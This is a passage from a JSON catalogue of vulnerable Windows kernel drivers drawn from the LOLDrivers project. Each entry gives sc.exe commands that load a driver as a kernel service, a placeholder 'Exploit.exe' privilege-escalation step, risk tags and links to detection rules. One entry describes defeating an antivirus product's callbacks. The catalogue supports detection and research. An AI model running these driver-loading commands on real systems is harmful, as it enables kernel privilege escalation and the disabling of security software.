        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create libnicm.sys binPath=C:\\windows\\temp\\libnicm.sys type=kernel && sc.exe start libnicm.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-libnicm",
    "install": [
      {
        "method": "custom",
        "description": "Load libnicm.sys kernel driver",
        "commands": [
          "sc.exe create libnicm.sys binPath=C:\\windows\\temp\\libnicm.sys type=kernel && sc.exe start libnicm.sys"
        ]
      }
    ],
    "name": "libnicm.sys",
    "namespace": "windows:kernel:libnicm",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create LMIinfo binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\LMIinfo.sys type=kernel && sc.exe start LMIinfo.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver LMIinfo.sys\"\n\n# LMIinfo.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lmiinfo.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create LMIinfo binPath=C:\\windows\\temp\\LMIinfo.sys type=kernel && sc.exe start LMIinfo.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-lmiinfo",
    "install": [
      {
        "method": "custom",
        "description": "Load LMIinfo.sys kernel driver",
        "commands": [
          "sc.exe create LMIinfo binPath=C:\\windows\\temp\\LMIinfo.sys type=kernel && sc.exe start LMIinfo.sys"
        ]
      }
    ],
    "name": "LMIinfo.sys",
    "namespace": "windows:kernel:lmiinfo",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create lsigetwin_SliffDriver binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\lsigetwin_SliffDriver.sys type=kernel && sc.exe start lsigetwin_SliffDriver\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver lsigetwin_SliffDriver.sys\"\n\n# lsigetwin_SliffDriver.sys\n\nlsigetwin_SliffDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lsigetwin-sliffdriver.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "lsigetwin_SliffDriver.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create lsigetwin_SliffDriver binPath=C:\\windows\\temp\\lsigetwin_SliffDriver.sys type=kernel && sc.exe start lsigetwin_SliffDriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-lsigetwin-sliffdriver",
    "install": [
      {
        "method": "custom",
        "description": "Load lsigetwin_SliffDriver.sys kernel driver",
        "commands": [
          "sc.exe create lsigetwin_SliffDriver binPath=C:\\windows\\temp\\lsigetwin_SliffDriver.sys type=kernel && sc.exe start lsigetwin_SliffDriver"
        ]
      }
    ],
    "name": "lsigetwin_SliffDriver.sys",
    "namespace": "windows:kernel:lsigetwin-sliffdriver",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Lurker.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Lurker.sys type=kernel && sc.exe start Lurker.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Lurker.sys\"\n\n# Lurker.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lurker.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create Lurker.sys binPath=C:\\windows\\temp\\Lurker.sys type=kernel && sc.exe start Lurker.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-lurker",
    "install": [
      {
        "method": "custom",
        "description": "Load Lurker.sys kernel driver",
        "commands": [
          "sc.exe create Lurker.sys binPath=C:\\windows\\temp\\Lurker.sys type=kernel && sc.exe start Lurker.sys"
        ]
      }
    ],
    "name": "Lurker.sys",
    "namespace": "windows:kernel:lurker",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create Lv561av.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\Lv561av.sys type=kernel && sc.exe start Lv561av.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Lv561av.sys\"\n\n# Lv561av.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-lv561av.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create Lv561av.sys binPath=C:\\windows\\temp\\Lv561av.sys type=kernel && sc.exe start Lv561av.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-lv561av",
    "install": [
      {
        "method": "custom",
        "description": "Load Lv561av.sys kernel driver",
        "commands": [
          "sc.exe create Lv561av.sys binPath=C:\\windows\\temp\\Lv561av.sys type=kernel && sc.exe start Lv561av.sys"
        ]
      }
    ],
    "name": "Lv561av.sys",
    "namespace": "windows:kernel:lv561av",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create magdrvamd64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\magdrvamd64.sys     type=kernel && sc.exe start magdrvamd64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver magdrvamd64.sys\"\n\n# magdrvamd64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-magdrvamd64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create magdrvamd64.sys binPath=C:\\windows\\temp\\magdrvamd64.sys     type=kernel && sc.exe start magdrvamd64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-magdrvamd64",
    "install": [
      {
        "method": "custom",
        "description": "Load magdrvamd64.sys kernel driver",
        "commands": [
          "sc.exe create magdrvamd64.sys binPath=C:\\windows\\temp\\magdrvamd64.sys     type=kernel && sc.exe start magdrvamd64.sys"
        ]
      }
    ],
    "name": "magdrvamd64.sys",
    "namespace": "windows:kernel:magdrvamd64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.unknowncheats.me/forum/anti-cheat-bypass/334557-vulnerable-driver-megathread.html"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create malicious.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\malicious.sys type=kernel && sc.exe start malicious.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver malicious.sys\"\n\n# malicious.sys\n\nThis demo is a presentation at the CYBERSEC 2023 in Taiwan. The presentation showcases the abuse of RTCore64.sys (CVE-2019-16098) from MSI and the nullification of the DSE flag to load a malicious unsigned driver. The presentation also demonstrates an attack on 360 Total Security by nulling out its ObRegisterCallbacks and notify callbacks, enabling the execution of any malicious behavior on the processes of 360 Total Security.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-malicious.md",
    "author": "Guus Verbeek",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "This demo is a presentation at the CYBERSEC 2023 in Taiwan. The presentation showcases the abuse of RTCore64.sys (CVE-2019-16098) from MSI and the nullification of the DSE flag to load a malicious unsigned driver. The presentation also demonstrates an attack on 360 Total Security by nulling out its ObRegisterCallbacks and notify callbacks, enabling the execution of any malicious behavior on the processes of 360 Total Security.",
    "execution": {
      "template": "sc.exe create malicious.sys binPath=C:\\windows\\temp\\malicious.sys type=kernel && sc.exe start malicious.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-malicious",
    "install": [
      {
        "method": "custom",
        "description": "Load malicious.sys kernel driver",
        "commands": [
          "sc.exe create malicious.sys binPath=C:\\windows\\temp\\malicious.sys type=kernel && sc.exe start malicious.sys"
        ]
      }
    ],
    "name": "malicious.sys",
    "namespace": "windows:kernel:malicious",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/zeze-zeze/CYBERSEC2023-BYOVD-Demo"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mapmom.sys binPath=C:\\\\windows\\\\temp\\\\mapmom.sys type=kernel && sc.exe start mapmom.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mapmom.sys\"\n\n# mapmom.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mapmom.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-mapmom",
    "name": "mapmom.sys",
    "namespace": "windows:kernel:mapmom",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create MemCtl binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\MemCtl.sys type=kernel && sc.exe start MemCtl\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver MemCtl.sys\"\n\n# MemCtl.sys\n\nMemCtl.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-memctl.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "MemCtl.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create MemCtl binPath=C:\\windows\\temp\\MemCtl.sys type=kernel && sc.exe start MemCtl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-memctl",
    "install": [
      {
        "method": "custom",
        "description": "Load MemCtl.sys kernel driver",
        "commands": [
          "sc.exe create MemCtl binPath=C:\\windows\\temp\\MemCtl.sys type=kernel && sc.exe start MemCtl"
        ]
      }
    ],
    "name": "MemCtl.sys",
    "namespace": "windows:kernel:memctl",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mhyprot.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mhyprot.sys type=kernel && sc.exe start mhyprot.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver Mhyprot2.sys\"\n\n# Mhyprot2.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mhyprot2.md",
    "author": "Nasreddine Bencherchali, Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create mhyprot.sys binPath=C:\\windows\\temp\\mhyprot.sys type=kernel && sc.exe start mhyprot.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-mhyprot2",
    "install": [
      {
        "method": "custom",
        "description": "Load Mhyprot2.sys kernel driver",
        "commands": [
          "sc.exe create mhyprot.sys binPath=C:\\windows\\temp\\mhyprot.sys type=kernel && sc.exe start mhyprot.sys"
        ]
      }
    ],
    "name": "Mhyprot2.sys",
    "namespace": "windows:kernel:mhyprot2",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/namazso/physmem_drivers"
      },
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/blob/932baf346cc8a743f1963ad3d4565b42ed17bebe/yara/rules/Windows_VulnDriver_Mhyprot.yar"
      },
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      },
      {
        "label": "Reference",
        "url": "https://github.com/kagurazakasanae/Mhyprot2DrvControl/tree/main"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mhyprot3.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mhyprot3.sys type=kernel && sc.exe start mhyprot3.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mhyprot3.sys\"\n\n# mhyprot3.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mhyprot3.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create mhyprot3.sys binPath=C:\\windows\\temp\\mhyprot3.sys type=kernel && sc.exe start mhyprot3.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-mhyprot3",
    "install": [
      {
        "method": "custom",
        "description": "Load mhyprot3.sys kernel driver",
        "commands": [
          "sc.exe create mhyprot3.sys binPath=C:\\windows\\temp\\mhyprot3.sys type=kernel && sc.exe start mhyprot3.sys"
        ]
      }
    ],
    "name": "mhyprot3.sys",
    "namespace": "windows:kernel:mhyprot3",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mhyprotect.sys binPath=C:\\\\windows\\\\temp\\\\mhyprotect.sys type=kernel && sc.exe start mhyprotect.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mhyprotect.sys\"\n\n# mhyprotect.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mhyprotect.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-mhyprotect",
    "name": "mhyprotect.sys",
    "namespace": "windows:kernel:mhyprotect",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mhyprotnap.sys binPath=C:\\\\windows\\\\temp\\\\mhyprotnap.sys type=kernel && sc.exe start mhyprotnap.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mhyprotnap.sys\"\n\n# mhyprotnap.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mhyprotnap.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-mhyprotnap",
    "name": "mhyprotnap.sys",
    "namespace": "windows:kernel:mhyprotnap",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mhyprotrpg.Sys binPath=C:\\\\windows\\\\temp\\\\mhyprotrpg.Sys type=kernel && sc.exe start mhyprotrpg.Sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mhyprotrpg.Sys\"\n\n# mhyprotrpg.Sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mhyprotrpg.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-mhyprotrpg",
    "name": "mhyprotrpg.Sys",
    "namespace": "windows:kernel:mhyprotrpg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://gist.github.com/mgraeber-rc/1bde6a2a83237f17b463d051d32e802c"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mimidrv.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\mimidrv.sys type=kernel && sc.exe start mimidrv.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mimidrv.sys\"\n\n# mimidrv.sys\n\nMimidrv is a signed Windows Driver Model WDM kernel mode software driver meant to be used with the standard Mimikatz executable.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mimidrv.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Mimidrv is a signed Windows Driver Model WDM kernel mode software driver meant to be used with the standard Mimikatz executable.",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/200f98655d1f46d2599c2c8605ebb7e335fee3883a32135ca1a81e09819bc64a.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_mal_drivers_strict.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create mimidrv.sys binPath=C:\\windows\\temp\\mimidrv.sys type=kernel && sc.exe start mimidrv.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "pipes-stdin",
      "requires-root"
    ],
    "id": "windows-kernel-mimidrv",
    "install": [
      {
        "method": "custom",
        "description": "Load mimidrv.sys kernel driver",
        "commands": [
          "sc.exe create mimidrv.sys binPath=C:\\windows\\temp\\mimidrv.sys type=kernel && sc.exe start mimidrv.sys"
        ]
      }
    ],
    "name": "mimidrv.sys",
    "namespace": "windows:kernel:mimidrv",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/55#issuecomment-1537161951"
      },
      {
        "label": "Reference",
        "url": "https://github.com/hfiref0x/KDU"
      },
      {
        "label": "Reference",
        "url": "https://posts.specterops.io/mimidrv-in-depth-4d273d19e148"
      },
      {
        "label": "Reference",
        "url": "https://github.com/gentilkiwi/mimikatz"
      }
    ],
    "risk_level": "critical",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create mimikatz.sys binPath=C:\\\\windows\\\\temp\\\\mimikatz.sys type=kernel && sc.exe start mimikatz.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver mimikatz.sys\"\n\n# mimikatz.sys\n\nConfirmed vulnerable driver from Microsoft Block List\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-mimikatz.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Confirmed vulnerable driver from Microsoft Block List",
    "detections": [
      {
        "type": "other"
      }
    ],
    "execution": {
      "template": "",
      "sandbox": "execFile",
